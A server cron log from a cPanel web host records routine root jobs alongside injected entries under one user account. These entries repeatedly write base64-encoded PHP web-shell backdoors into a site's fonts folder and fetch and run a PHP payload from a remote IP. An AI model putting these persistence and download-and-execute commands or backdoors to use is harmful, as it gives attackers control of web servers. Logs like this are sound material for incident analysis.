Sep  5 16:25:02 ip-184-168-122-23 CROND[17675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:25:02 ip-184-168-122-23 CROND[17676]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:26:01 ip-184-168-122-23 CROND[17766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:26:01 ip-184-168-122-23 CROND[17767]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:26:01 ip-184-168-122-23 CROND[17768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:26:01 ip-184-168-122-23 CROND[17769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:26:01 ip-184-168-122-23 CROND[17770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:27:02 ip-184-168-122-23 CROND[17857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:27:02 ip-184-168-122-23 CROND[17858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:27:02 ip-184-168-122-23 CROND[17855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:27:02 ip-184-168-122-23 CROND[17856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:28:02 ip-184-168-122-23 CROND[18040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:28:02 ip-184-168-122-23 CROND[18043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:28:02 ip-184-168-122-23 CROND[18042]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:28:02 ip-184-168-122-23 CROND[18044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:28:02 ip-184-168-122-23 CROND[18041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:29:01 ip-184-168-122-23 CROND[18155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:29:01 ip-184-168-122-23 CROND[18156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:29:01 ip-184-168-122-23 CROND[18157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:29:01 ip-184-168-122-23 CROND[18158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:30:01 ip-184-168-122-23 CROND[18262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:30:01 ip-184-168-122-23 CROND[18266]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 16:30:01 ip-184-168-122-23 CROND[18265]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:30:01 ip-184-168-122-23 CROND[18264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:30:01 ip-184-168-122-23 CROND[18268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:30:01 ip-184-168-122-23 CROND[18267]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  5 16:30:01 ip-184-168-122-23 CROND[18270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:30:01 ip-184-168-122-23 CROND[18269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:30:01 ip-184-168-122-23 CROND[18272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:31:01 ip-184-168-122-23 CROND[18372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:31:01 ip-184-168-122-23 CROND[18375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:31:01 ip-184-168-122-23 CROND[18376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:31:01 ip-184-168-122-23 CROND[18377]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 16:31:01 ip-184-168-122-23 CROND[18374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:32:01 ip-184-168-122-23 CROND[18475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:32:01 ip-184-168-122-23 CROND[18476]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:32:01 ip-184-168-122-23 CROND[18479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:32:01 ip-184-168-122-23 CROND[18477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:32:01 ip-184-168-122-23 CROND[18478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:33:01 ip-184-168-122-23 CROND[18565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:33:01 ip-184-168-122-23 CROND[18567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:33:01 ip-184-168-122-23 CROND[18568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:33:01 ip-184-168-122-23 CROND[18566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:34:01 ip-184-168-122-23 CROND[18654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:34:01 ip-184-168-122-23 CROND[18656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:34:01 ip-184-168-122-23 CROND[18657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:34:01 ip-184-168-122-23 CROND[18655]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:34:01 ip-184-168-122-23 CROND[18658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:35:01 ip-184-168-122-23 CROND[18850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:35:01 ip-184-168-122-23 CROND[18855]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 16:35:01 ip-184-168-122-23 CROND[18853]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:35:01 ip-184-168-122-23 CROND[18852]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 16:35:01 ip-184-168-122-23 CROND[18856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:35:01 ip-184-168-122-23 CROND[18854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:35:01 ip-184-168-122-23 CROND[18857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:35:01 ip-184-168-122-23 CROND[18859]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:36:01 ip-184-168-122-23 CROND[18957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:36:01 ip-184-168-122-23 CROND[18958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:36:01 ip-184-168-122-23 CROND[18959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:36:01 ip-184-168-122-23 CROND[18961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:36:01 ip-184-168-122-23 CROND[18960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:37:01 ip-184-168-122-23 CROND[19058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:37:01 ip-184-168-122-23 CROND[19059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
